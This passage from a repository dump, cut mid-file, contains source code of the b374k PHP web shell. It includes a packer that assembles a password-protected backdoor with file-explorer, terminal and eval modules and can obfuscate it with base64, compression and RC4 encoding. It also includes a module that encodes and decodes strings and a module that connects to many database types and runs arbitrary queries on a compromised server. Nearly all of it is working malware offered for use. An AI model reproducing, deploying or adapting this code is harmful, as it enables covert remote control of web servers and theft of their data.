| $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout); 74 | $layout = str_replace("<__JS__>", $js_code, $layout); 75 | 76 | $base_code .= packer_read_file($GLOBALS['packer']['base_dir']."localmain.php"); 77 | $content = trim($module_init)."?>".$base_code.$module_code.$layout; 78 | eval($content); 79 | die(); 80 | } 81 | elseif(isset($p['outputfile'])&&isset($p['password'])&&isset($p['module'])&&isset($p['strip'])&&isset($p['base64'])&&isset($p['compress'])&&isset($p['compress_level'])&&isset($p['encode'])){ 82 | $outputfile = trim($p['outputfile']); 83 | if(empty($outputfile)) $outputfile = 'b374k.php'; 84 | $password = trim($p['password']); 85 | $modules = trim($p['module']); 86 | if(empty($modules)) $modules = array(); 87 | else $modules = explode("," ,$modules); 88 | 89 | $strip = trim($p['strip']); 90 | $base64 = trim($p['base64']); 91 | $compress = trim($p['compress']); 92 | $compress_level = (int) $p['compress_level']; 93 | $encode = addslashes(trim($p['encode'])); 94 | 95 | $module_arr = array_merge(array("explorer", "terminal", "eval"), $modules); 96 | 97 | $module_arr = array_map("packer_wrap_with_quote", $module_arr); 98 | $module_init = "\n\$GLOBALS['module_to_load'] = array(".implode(", ", $module_arr).");"; 99 | 100 | $js_code = "\n\n".packer_read_file($GLOBALS['packer']['base_dir']."sortable.js").$js_main_code; 101 | $js_code .= "\n\n".packer_read_file($GLOBALS['packer']['base_dir']."base.js"); 102 | 103 | foreach($modules as $module){ 104 | $module = trim($module); 105 | $filename = $GLOBALS['packer']['module_dir'].$module; 106 | if(is_file($filename.".php")) $module_code .= packer_read_file($filename.".php"); 107 | if(is_file($filename.".js")) $js_code .= "\n".packer_read_file($filename.".js")."\n"; 108 | 109 | } 110 | 111 | $layout = str_replace("<__CIPHER_KEY__>", $GLOBALS['cipher_key'], $layout); 112 | $layout = str_replace("<__CSS__>", $css_code, $layout); 113 | $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout); 114 | 115 | if($strip=='yes') $js_code = packer_pack_js($js_code); 116 | $layout = str_replace("<__JS__>", $js_code, $layout); 117 | 118 | 119 | $htmlcode = trim($layout); 120 | $base_code .= packer_read_file($GLOBALS['packer']['base_dir']."main.php"); 121 | $phpcode = "".trim($base_code).trim($module_code); 122 | 123 | packer_output(packer_b374k($outputfile, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password)); 124 | } 125 | else{ 126 | 127 | $available_themes = "Theme"; 133 | 134 | ?> 135 | 136 | 137 | <?php echo $GLOBALS['packer']['title']." ".$GLOBALS['packer']['version'];?> 138 | 139 | 140 | 148 | 149 | 150 | 151 |
152 |
153 |
154 | 155 | 156 | 157 | 158 | 163 |

Quick Run

Module (separated by comma)'>
159 |
160 | Run 161 |
162 |
164 |
165 | 166 | 167 | 168 | 169 | 170 | 171 | 177 | 178 | 184 | 185 | 204 | 205 | 206 | 209 | 210 | 211 |

Pack

Output
Password
Module (separated by comma)'>
Strip Comments and Whitespaces 172 | 176 |
Base64 Encode 179 | 183 |
Compress 186 | 192 | 203 |
Encode
207 | Pack 208 |
212 |
213 | 214 | 272 | 273 | ", $GLOBALS['cipher_key'], $layout); 384 | $layout = str_replace("<__CSS__>", $css_code, $layout); 385 | $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout); 386 | 387 | if($strip=='yes') $js_code = packer_pack_js($js_code); 388 | $layout = str_replace("<__JS__>", $js_code, $layout); 389 | 390 | $htmlcode = trim($layout); 391 | $base_code .= packer_read_file($GLOBALS['packer']['base_dir']."main.php"); 392 | $phpcode = "".trim($base_code).trim($module_code); 393 | 394 | $res = packer_b374k($outputfile, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password); 395 | $status = explode("{[|b374k|]}", $res); 396 | $output .= "Result\t\t\t: ".strip_tags($status[0])."\n\n"; 397 | } 398 | echo $output; 399 | } 400 | 401 | function packer_read_file($file){ 402 | $content = false; 403 | if($fh = @fopen($file, "rb")){ 404 | $content = ""; 405 | while(!feof($fh)){ 406 | $content .= fread($fh, 8192); 407 | } 408 | } 409 | return $content; 410 | } 411 | 412 | function packer_write_file($file, $content){ 413 | if($fh = @fopen($file, "wb")){ 414 | if(fwrite($fh, $content)!==false){ 415 | if(!class_exists("ZipArchive")) return true; 416 | 417 | if(file_exists($file.".zip")) unlink ($file.".zip"); 418 | $zip = new ZipArchive(); 419 | $filename = "./".$file.".zip"; 420 | 421 | if($zip->open($filename, ZipArchive::CREATE)!==TRUE) return false; 422 | $zip->addFile($file); 423 | $zip->close(); 424 | return true; 425 | } 426 | fclose($fh); 427 | } 428 | return false; 429 | } 430 | 431 | function packer_get_post(){ 432 | return packer_fix_magic_quote($_POST); 433 | } 434 | 435 | function packer_fix_magic_quote($arr){ 436 | $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); 437 | if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ 438 | if(is_array($arr)){ 439 | foreach($arr as $k=>$v){ 440 | if(is_array($v)) $arr[$k] = clean($v); 441 | else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); 442 | } 443 | } 444 | } 445 | return $arr; 446 | } 447 | 448 | function packer_html_safe($str){ 449 | return htmlspecialchars($str, 2 | 1); 450 | } 451 | 452 | function packer_wrap_with_quote($str){ 453 | return "\"".$str."\""; 454 | } 455 | 456 | function packer_output($str){ 457 | header("Content-Type: text/plain"); 458 | header("Cache-Control: no-cache"); 459 | header("Pragma: no-cache"); 460 | echo $str; 461 | die(); 462 | } 463 | 464 | function packer_get_self(){ 465 | $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; 466 | return packer_html_safe($_SERVER['SCRIPT_NAME'].$query); 467 | } 468 | 469 | function packer_strips($str){ 470 | $newStr = ''; 471 | 472 | $commentTokens = array(T_COMMENT); 473 | 474 | if(defined('T_DOC_COMMENT')) $commentTokens[] = T_DOC_COMMENT; 475 | if(defined('T_ML_COMMENT')) $commentTokens[] = T_ML_COMMENT; 476 | 477 | $tokens = token_get_all($str); 478 | 479 | foreach($tokens as $token){ 480 | if (is_array($token)) { 481 | if (in_array($token[0], $commentTokens)) continue; 482 | $token = $token[1]; 483 | } 484 | $newStr .= $token; 485 | } 486 | $newStr = preg_replace("/(\s{2,})/", " ", $newStr); 487 | return $newStr; 488 | } 489 | 490 | function packer_get_theme(){ 491 | $available_themes = array(); 492 | foreach(glob($GLOBALS['packer']['theme_dir']."*.css") as $filename){ 493 | $filename = basename($filename, ".css"); 494 | $available_themes[] = $filename; 495 | } 496 | return $available_themes; 497 | } 498 | 499 | function packer_get_module(){ 500 | $available_modules = array(); 501 | foreach(glob($GLOBALS['packer']['module_dir']."*.php") as $filename){ 502 | $filename = basename($filename, ".php"); 503 | if(packer_check_module($filename)) $available_modules[] = $filename; 504 | } 505 | return $available_modules; 506 | } 507 | 508 | function packer_check_module($module){ 509 | $filename = $GLOBALS['packer']['module_dir'].$module; 510 | if(is_file($filename.".php")){ 511 | $content = packer_read_file($filename.".php"); 512 | @eval("?>".$content); 513 | if($GLOBALS['module'][$module]['id']==$module) return true; 514 | } 515 | return false; 516 | } 517 | 518 | function packer_pack_js($str){ 519 | $packer = new JavaScriptPacker($str, 0, true, false); 520 | return $packer->pack(); 521 | } 522 | 523 | function packer_b374k($output, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password){ 524 | $content = ""; 525 | if(is_file($output)){ 526 | if(!is_writable($output)) return "error : file ".$output." exists and is not writable{[|b374k|]}"; 527 | } 528 | 529 | if(!empty($password)) $password = "\$GLOBALS['pass'] = \"".sha1(md5($password))."\"; // sha1(md5(pass))\n"; 530 | $cipher_key = "\$GLOBALS['cipher_key'] = \"" . $GLOBALS['cipher_key'] . "\";"; 531 | 532 | $compress_level = (int) $compress_level; 533 | if($compress_level<0) $compress_level = 0; 534 | elseif($compress_level>9) $compress_level = 9; 535 | 536 | $version = ""; 537 | if(preg_match("/\\\$GLOBALS\['ver'\]\ *=\ *[\"']+([^\"']+)[\"']+/", $phpcode, $r)){ 538 | $version = $r[1]; 539 | } 540 | 541 | $header = "\".".$encoder.");');\$b374k(\"".$content."\");{$rc4_function}?>"; 593 | } 594 | else{ 595 | if($compress!='no'){ 596 | $encoder = $encoder_func."(\$x)"; 597 | } 598 | else{ 599 | $code = $header.$password."?>".$content; 600 | $code = preg_replace("/\?>\s*<\?php\s*/", "", $code); 601 | } 602 | } 603 | 604 | if(is_file($output)) unlink($output); 605 | if(packer_write_file($output, $code)){ 606 | chmod($output, 0777); 607 | return "Succeeded : [ ".$output." ] Filesize : ".filesize($output)."{[|b374k|]}".packer_html_safe(trim($code)); 608 | } 609 | return "error{[|b374k|]}"; 610 | } 611 | 612 | function generateRandomString($length = 10) { 613 | $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 614 | $charactersLength = strlen($characters); 615 | $randomString = ''; 616 | for ($i = 0; $i < $length; $i++) { 617 | $randomString .= $characters[rand(0, $charactersLength - 1)]; 618 | } 619 | return $randomString; 620 | } 621 | 622 | function rc4($key, $str) { 623 | $s = array(); 624 | for ($i = 0; $i < 256; $i++) { 625 | $s[$i] = $i; 626 | } 627 | $j = 0; 628 | for ($i = 0; $i < 256; $i++) { 629 | $j = ($j + $s[$i] + ord($key[$i % strlen($key)])) % 256; 630 | $x = $s[$i]; 631 | $s[$i] = $s[$j]; 632 | $s[$j] = $x; 633 | } 634 | $i = 0; 635 | $j = 0; 636 | $res = ''; 637 | for ($y = 0; $y < strlen($str); $y++) { 638 | $i = ($i + 1) % 256; 639 | $j = ($j + $s[$i]) % 256; 640 | $x = $s[$i]; 641 | $s[$i] = $s[$j]; 642 | $s[$j] = $x; 643 | $res .= $str[$y] ^ chr($s[($s[$i] + $s[$j]) % 256]); 644 | } 645 | return $res; 646 | } 647 | 648 | ?> 649 | -------------------------------------------------------------------------------- /module/convert.js: -------------------------------------------------------------------------------- 1 | Zepto(function($){ 2 | $('#decodeStr').on('keydown', function(e){ 3 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ 4 | decode_go(); 5 | } 6 | fix_tabchar(this, e); 7 | }); 8 | }); 9 | 10 | function decode_go(){ 11 | decodeStr = $('#decodeStr').val(); 12 | send_post({decodeStr:decodeStr}, function(res){ 13 | if(res!='error'){ 14 | $('#decodeResult').html(''); 15 | $('#decodeResult').html(res); 16 | } 17 | }); 18 | } 19 | -------------------------------------------------------------------------------- /module/convert.php: -------------------------------------------------------------------------------- 1 | 8 | 9 |

Convert

10 | 11 | 12 | 13 | convert 14 | 15 | You can also press ctrl+enter to submit 16 | "; 17 | 18 | if(!function_exists('decode')){ 19 | function decode($str){ 20 | $res = ""; 21 | $length = (int) strlen($str); 22 | 23 | $res .= decode_line("md5", md5($str), "input"); 24 | $res .= decode_line("sha1", sha1($str), "input"); 25 | 26 | $res .= decode_line("base64 encode", base64_encode($str), "textarea"); 27 | $res .= decode_line("base64 decode", base64_decode($str), "textarea"); 28 | 29 | 30 | $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); 31 | $res .= decode_line("string to hex", bin2hex($str), "textarea"); 32 | 33 | $ascii = ""; 34 | for($i=0; $i<$length; $i++){ 35 | $ascii .= ord(substr($str,$i,1))." "; 36 | } 37 | $res .= decode_line("ascii char", trim($ascii), "textarea"); 38 | 39 | $res .= decode_line("reversed", strrev($str), "textarea"); 40 | $res .= decode_line("lowercase", strtolower($str), "textarea"); 41 | $res .= decode_line("uppercase", strtoupper($str), "textarea"); 42 | 43 | $res .= decode_line("urlencode", urlencode($str), "textarea"); 44 | $res .= decode_line("urldecode", urldecode($str), "textarea"); 45 | $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); 46 | $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); 47 | 48 | $res .= decode_line("htmlentities", html_safe($str), "textarea"); 49 | 50 | if(function_exists('hash_algos')){ 51 | $algos = hash_algos(); 52 | foreach($algos as $algo){ 53 | if(($algo=='md5')||($algo=='sha1')) continue; 54 | $res .= decode_line($algo, hash($algo, $str), "input"); 55 | } 56 | } 57 | 58 | return $res; 59 | } 60 | } 61 | 62 | if(!function_exists('decode_line')){ 63 | function decode_line($type, $result, $inputtype){ 64 | $res = "".$type.""; 65 | if($inputtype=='input'){ 66 | $res .= ""; 67 | } 68 | else{ 69 | $res .= ""; 70 | } 71 | return $res; 72 | } 73 | } 74 | 75 | if(isset($p['decodeStr'])){ 76 | $decodeStr = $p['decodeStr']; 77 | output(decode($decodeStr)); 78 | } 79 | ?> -------------------------------------------------------------------------------- /module/database.js: -------------------------------------------------------------------------------- 1 | Zepto(function($){ 2 | db_init(); 3 | 4 | }); 5 | 6 | var dbSupported = ""; 7 | var dbPageLimit = 50; 8 | 9 | function db_init(){ 10 | if((dbSupported = localStorage.getItem('db_supported'))){ 11 | db_bind(); 12 | output("db : "+dbSupported); 13 | db_add_supported(); 14 | } 15 | else{ 16 | send_post({dbGetSupported:""}, function(res){ 17 | if(res!="error"){ 18 | localStorage.setItem('dbSupported', res); 19 | dbSupported = res; 20 | db_bind(); 21 | output("db : "+dbSupported); 22 | db_add_supported(); 23 | } 24 | }); 25 | } 26 | } 27 | 28 | function db_add_supported(){ 29 | splits = dbSupported.split(","); 30 | $.each(splits, function(i, k){ 31 | $('#dbType').append(""); 32 | }); 33 | } 34 | 35 | function db_bind(){ 36 | $('#dbType').on('change', function(e){ 37 | type = $('#dbType').val(); 38 | if((type=='odbc')||(type=='pdo')){ 39 | $('.dbHostLbl').html('DSN / Connection String'); 40 | $('.dbUserRow').show(); 41 | $('.dbPassRow').show(); 42 | $('.dbPortRow').hide(); 43 | 44 | } 45 | else if((type=='sqlite')||(type=='sqlite3')){ 46 | $('.dbHostLbl').html('DB File'); 47 | $('.dbUserRow').hide(); 48 | $('.dbPassRow').hide(); 49 | $('.dbPortRow').hide(); 50 | 51 | } 52 | else{ 53 | $('.dbHostLbl').html('Host'); 54 | $('.dbUserRow').show(); 55 | $('.dbPassRow').show(); 56 | $('.dbPortRow').show(); 57 | } 58 | }); 59 | 60 | $('#dbQuery').on('focus', function(e){ 61 | if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){ 62 | $('#dbQuery').val(''); 63 | } 64 | }); 65 | $('#dbQuery').on('blur', function(e){ 66 | if($('#dbQuery').val()==''){ 67 | $('#dbQuery').val('You can also press ctrl+enter to submit'); 68 | } 69 | }); 70 | $('#dbQuery').on('keydown', function(e){ 71 | if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){ 72 | db_run(); 73 | } 74 | }); 75 | } 76 | 77 | function db_nav_bind(){ 78 | dbType = $('#dbType').val(); 79 | $('.boxNav').off('click'); 80 | $('.boxNav').on('click', function(){ 81 | $(this).next().toggle(); 82 | }); 83 | 84 | $('.dbTable').off('click'); 85 | $('.dbTable').on('click', function(){ 86 | type = $('#dbType').val(); 87 | table = $(this).html(); 88 | db = $(this).parent().parent().parent().prev().html(); 89 | db_query_tbl(type, db, table, 0, dbPageLimit); 90 | }); 91 | } 92 | 93 | function db_connect(){ 94 | dbType = $('#dbType').val(); 95 | dbHost = $('#dbHost').val(); 96 | dbUser = $('#dbUser').val(); 97 | dbPass = $('#dbPass').val(); 98 | dbPort = $('#dbPort').val(); 99 | send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){ 100 | if(res!='error'){ 101 | $('#dbNav').html(res); 102 | $('.dbHostRow').hide(); 103 | $('.dbUserRow').hide(); 104 | $('.dbPassRow').hide(); 105 | $('.dbPortRow').hide(); 106 | $('.dbConnectRow').hide(); 107 | $('.dbQueryRow').show(); 108 | $('#dbBottom').show(); 109 | db_nav_bind(); 110 | } 111 | else $('.dbError').html('Unable to connect'); 112 | }); 113 | } 114 | 115 | function db_disconnect(){ 116 | $('.dbHostRow').show(); 117 | $('.dbUserRow').show(); 118 | $('.dbPassRow').show(); 119 | $('.dbPortRow').show(); 120 | $('.dbConnectRow').show(); 121 | $('.dbQueryRow').hide(); 122 | $('#dbNav').html(''); 123 | $('#dbResult').html(''); 124 | $('#dbBottom').hide(); 125 | } 126 | 127 | function db_run(){ 128 | dbType = $('#dbType').val(); 129 | dbHost = $('#dbHost').val(); 130 | dbUser = $('#dbUser').val(); 131 | dbPass = $('#dbPass').val(); 132 | dbPort = $('#dbPort').val(); 133 | dbQuery = $('#dbQuery').val(); 134 | 135 | if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){ 136 | send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){ 137 | if(res!='error'){ 138 | $('#dbResult').html(res); 139 | $('.tblResult').each(function(){ 140 | sorttable.k(this); 141 | }); 142 | } 143 | }); 144 | } 145 | } 146 | 147 | function db_query_tbl(type, db, table, start, limit){ 148 | dbType = $('#dbType').val(); 149 | dbHost = $('#dbHost').val(); 150 | dbUser = $('#dbUser').val(); 151 | dbPass = $('#dbPass').val(); 152 | dbPort = $('#dbPort').val(); 153 | 154 | send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){ 155 | if(res!='error'){ 156 | $('#dbResult').html(res); 157 | $('.tblResult').each(function(){ 158 | sorttable.k(this); 159 | }); 160 | } 161 | }); 162 | } 163 | 164 | function db_pagination(type){ 165 | db = $('#dbDB').val(); 166 | table = $('#dbTable').val(); 167 | start = parseInt($('#dbStart').val()); 168 | limit = parseInt($('#dbLimit').val()); 169 | dbType = $('#dbType').val(); 170 | 171 | if(type=='next'){ 172 | start = start+limit; 173 | } 174 | else if(type=='prev'){ 175 | start = start-limit; 176 | if(start<0) start = 0; 177 | } 178 | db_query_tbl(dbType, db, table, start, limit); 179 | } -------------------------------------------------------------------------------- /module/database.php: -------------------------------------------------------------------------------- 1 | 7 | 8 |

Connect

9 | 10 | 11 | Host 12 | Username 13 | Password 14 | Port (Optional) 15 | 16 | 17 | 18 | 19 | 21 | 22 | connect 23 | 24 | 25 | 26 | 27 | 28 | 29 | run 30 | disconnect 31 | Separate multiple commands with a semicolon ( ; ) 32 | 33 | 34 | 35 | 39 | "; 40 | 41 | if(!function_exists('sql_connect')){ 42 | function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ 43 | if($sqltype == 'mysql'){ 44 | if(class_exists('mysqli')) return new mysqli($sqlhost, $sqluser, $sqlpass); 45 | elseif(function_exists('mysql_connect')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); 46 | } 47 | elseif($sqltype == 'mssql'){ 48 | if(function_exists('sqlsrv_connect')){ 49 | $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); 50 | return @sqlsrv_connect($sqlhost,$coninfo); 51 | } 52 | elseif(function_exists('mssql_connect')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); 53 | } 54 | elseif($sqltype == 'pgsql'){ 55 | $hosts = explode(":", $sqlhost); 56 | if(count($hosts)==2){ 57 | $host_str = "host=".$hosts[0]." port=".$hosts[1]; 58 | } 59 | else $host_str = "host=".$sqlhost; 60 | if(function_exists('pg_connect')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); 61 | } 62 | elseif($sqltype == 'oracle'){ if(function_exists('oci_connect')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } 63 | elseif($sqltype == 'sqlite3'){ 64 | if(class_exists('SQLite3')) if(!empty($sqlhost)) return new SQLite3($sqlhost); 65 | else return false; 66 | } 67 | elseif($sqltype == 'sqlite'){ if(function_exists('sqlite_open')) return @sqlite_open($sqlhost); } 68 | elseif($sqltype == 'odbc'){ if(function_exists('odbc_connect')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } 69 | elseif($sqltype == 'pdo'){ 70 | if(class_exists('PDO')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); 71 | else return false; 72 | } 73 | return false; 74 | } 75 | } 76 | 77 | if(!function_exists('sql_query')){ 78 | function sql_query($sqltype, $query, $con){ 79 | if($sqltype == 'mysql'){ 80 | if(class_exists('mysqli')) return $con->query($query); 81 | elseif(function_exists('mysql_query')) return mysql_query($query); 82 | } 83 | elseif($sqltype == 'mssql'){ 84 | if(function_exists('sqlsrv_query')) return sqlsrv_query($con,$query); 85 | elseif(function_exists('mssql_query')) return mssql_query($query); 86 | } 87 | elseif($sqltype == 'pgsql') return pg_query($query); 88 | elseif($sqltype == 'oracle') return oci_execute(oci_parse($con, $query)); 89 | elseif($sqltype == 'sqlite3') return $con->query($query); 90 | elseif($sqltype == 'sqlite') return sqlite_query($con, $query); 91 | elseif($sqltype == 'odbc') return odbc_exec($con, $query); 92 | elseif($sqltype == 'pdo') return $con->query($query); 93 | } 94 | } 95 | 96 | if(!function_exists('sql_num_rows')){ 97 | function sql_num_rows($sqltype,$result){ 98 | if($sqltype == 'mysql'){ 99 | if(class_exists('mysqli_result')) return $result->mysqli_num_rows; 100 | elseif(function_exists('mysql_num_rows')) return mysql_num_rows($result); 101 | } 102 | elseif($sqltype == 'mssql'){ 103 | if(function_exists('sqlsrv_num_rows')) return sqlsrv_num_rows($result); 104 | elseif(function_exists('mssql_num_rows')) return mssql_num_rows($result); 105 | } 106 | elseif($sqltype == 'pgsql') return pg_num_rows($result); 107 | elseif($sqltype == 'oracle') return oci_num_rows($result); 108 | elseif($sqltype == 'sqlite3'){ 109 | $metadata = $result->fetchArray(); 110 | if(is_array($metadata)) return $metadata['count']; 111 | } 112 | elseif($sqltype == 'sqlite') return sqlite_num_rows($result); 113 | elseif($sqltype == 'odbc') return odbc_num_rows($result); 114 | elseif($sqltype == 'pdo') return $result->rowCount(); 115 | } 116 | } 117 | 118 | if(!function_exists('sql_num_fields')){ 119 | function sql_num_fields($sqltype, $result){ 120 | if($sqltype == 'mysql'){ 121 | if(class_exists('mysqli_result')) return $result->field_count; 122 | elseif(function_exists('mysql_num_fields')) return mysql_num_fields($result); 123 | } 124 | elseif($sqltype == 'mssql'){ 125 | if(function_exists('sqlsrv_num_fields')) return sqlsrv_num_fields($result); 126 | elseif(function_exists('mssql_num_fields')) return mssql_num_fields($result); 127 | } 128 | elseif($sqltype == 'pgsql') return pg_num_fields($result); 129 | elseif($sqltype == 'oracle') return oci_num_fields($result); 130 | elseif($sqltype == 'sqlite3') return $result->numColumns(); 131 | elseif($sqltype == 'sqlite') return sqlite_num_fields($result); 132 | elseif($sqltype == 'odbc') return odbc_num_fields($result); 133 | elseif($sqltype == 'pdo') return $result->columnCount(); 134 | } 135 | } 136 | 137 | if(!function_exists('sql_field_name')){ 138 | function sql_field_name($sqltype,$result,$i){ 139 | if($sqltype == 'mysql'){ 140 | if(class_exists('mysqli_result')) { $z=$result->fetch_field();return $z->name;} 141 | elseif(function_exists('mysql_field_name')) return mysql_field_name($result,$i); 142 | } 143 | elseif($sqltype == 'mssql'){ 144 | if(function_exists('sqlsrv_field_metadata')){ 145 | $metadata = sqlsrv_field_metadata($result); 146 | if(is_array($metadata)){ 147 | $metadata=$metadata[$i]; 148 | } 149 | if(is_array($metadata)) return $metadata['Name']; 150 | } 151 | elseif(function_exists('mssql_field_name')) return mssql_field_name($result,$i); 152 | } 153 | elseif($sqltype == 'pgsql') return pg_field_name($result,$i); 154 | elseif($sqltype == 'oracle') return oci_field_name($result,$i+1); 155 | elseif($sqltype == 'sqlite3') return $result->columnName($i); 156 | elseif($sqltype == 'sqlite') return sqlite_field_name($result,$i); 157 | elseif($sqltype == 'odbc') return odbc_field_name($result,$i+1); 158 | elseif($sqltype == 'pdo'){ 159 | $res = $result->getColumnMeta($i); 160 | return $res['name']; 161 | } 162 | } 163 | } 164 | 165 | if(!function_exists('sql_fetch_data')){ 166 | function sql_fetch_data($sqltype,$result){ 167 | if($sqltype == 'mysql'){ 168 | if(class_exists('mysqli_result')) return $result->fetch_row(); 169 | elseif(function_exists('mysql_fetch_row')) return mysql_fetch_row($result); 170 | } 171 | elseif($sqltype == 'mssql'){ 172 | if(function_exists('sqlsrv_fetch_array')) return sqlsrv_fetch_array($result,1); 173 | elseif(function_exists('mssql_fetch_row')) return mssql_fetch_row($result); 174 | } 175 | elseif($sqltype == 'pgsql') return pg_fetch_row($result); 176 | elseif($sqltype == 'oracle') return oci_fetch_row($result); 177 | elseif($sqltype == 'sqlite3') return $result->fetchArray(1); 178 | elseif($sqltype == 'sqlite') return sqlite_fetch_array($result,1); 179 | elseif($sqltype == 'odbc') return odbc_fetch_array($result); 180 | elseif($sqltype == 'pdo') return $result->fetch(2); 181 | } 182 | } 183 | 184 | if(!function_exists('sql_close')){ 185 | function sql_close($sqltype,$con){ 186 | if($sqltype == 'mysql'){ 187 | if(class_exists('mysqli')) return $con->close(); 188 | elseif(function_exists('mysql_close')) return mysql_close($con); 189 | } 190 | elseif($sqltype == 'mssql'){ 191 | if(function_exists('sqlsrv_close')) return sqlsrv_close($con); 192 | elseif(function_exists('mssql_close')) return mssql_close($con); 193 | } 194 | elseif($sqltype == 'pgsql') return pg_close($con); 195 | elseif($sqltype == 'oracle') return oci_close($con); 196 | elseif($sqltype == 'sqlite3') return $con->close(); 197 | elseif($sqltype == 'sqlite') return sqlite_close($con); 198 | elseif($sqltype == 'odbc') return odbc_close($con); 199 | elseif($sqltype == 'pdo') return $con = null; 200 | } 201 | } 202 | 203 | if(!function_exists('sql_get_supported')){ 204 | function sql_get_supported(){ 205 | $db_supported = array(); 206 | 207 | if(function_exists("mysql_connect")) $db_supported[] = 'mysql'; 208 | if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = 'mssql'; 209 | if(function_exists("pg_connect")) $db_supported[] = 'pgsql'; 210 | if(function_exists("oci_connect")) $db_supported[] = 'oracle'; 211 | if(function_exists("sqlite_open")) $db_supported[] = 'sqlite'; 212 | if(class_exists("SQLite3")) $db_supported[] = 'sqlite3'; 213 | if(function_exists("odbc_connect")) $db_supported[] = 'odbc'; 214 | if(class_exists("PDO")) $db_supported[] = 'pdo'; 215 | 216 | return implode(",", $db_supported); 217 | } 218 | } 219 | 220 | if(isset($p['dbGetSupported'])){ 221 | $res = sql_get_supported(); 222 | if(empty($res)) $res = "error"; 223 | output($res); 224 | } 225 | elseif(isset($p['dbType'])&&isset($p['dbHost'])&&isset($p['dbUser'])&&isset($p['dbPass'])&&isset($p['dbPort'])){ 226 | $type = $p['dbType']; 227 | $host = $p['dbHost']; 228 | $user = $p['dbUser']; 229 | $pass = $p['dbPass']; 230 | $port = $p['dbPort']; 231 | 232 | $con = sql_connect($type ,$host , $user , $pass); 233 | $res = ""; 234 | 235 | if($con!==false){ 236 | if(isset($p['dbQuery'])){ 237 | $query = $p['dbQuery']; 238 | $pagination = ""; 239 | if((isset($p['dbDB']))&&(isset($p['dbTable']))){ 240 | $db = trim($p['dbDB']); 241 | $table = trim($p['dbTable']); 242 | $start = (int) (isset($p['dbStart']))? trim($p['dbStart']):0; 243 | $limit = (int) (isset($p['dbLimit']))? trim($p['dbLimit']):100; 244 | 245 | if($type=='mysql'){ 246 | $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; 247 | } 248 | elseif($type=='mssql'){ 249 | $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; 250 | } 251 | elseif($type=='pgsql'){ 252 | $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; 253 | } 254 | elseif($type=='oracle'){ 255 | $limit = $start + $limit; 256 | $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; 257 | } 258 | elseif($type=='sqlite' || $type=='sqlite3'){ 259 | $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; 260 | } 261 | else $query = ""; 262 | 263 | $pagination = "Limit 264 | prev 265 | next 266 | 267 | 268 | 269 | "; 270 | } 271 | 272 | $querys = explode(";", $query); 273 | foreach($querys as $query){ 274 | if(trim($query) != ""){ 275 | $query_query = sql_query($type, $query, $con); 276 | if($query_query!=false){ 277 | $res .= "

".html_safe($query).";   [ ok ]

"; 278 | if(!empty($pagination)){ 279 | $res .= "

".$pagination."

"; 280 | } 281 | if(!is_bool($query_query)){ 282 | $res .= ""; 283 | for($i = 0; $i < sql_num_fields($type, $query_query); $i++) 284 | $res .= ""; 285 | $res .= ""; 286 | while($rows = sql_fetch_data($type, $query_query)){ 287 | $res .= ""; 288 | foreach($rows as $r){ 289 | if(empty($r)) $r = " "; 290 | $res .= ""; 291 | } 292 | $res .= ""; 293 | } 294 | $res .= "
".html_safe(sql_field_name($type, $query_query, $i))."
".html_safe($r)."
"; 295 | } 296 | } 297 | else{ 298 | $res .= "

".html_safe($query).";   [ error ]

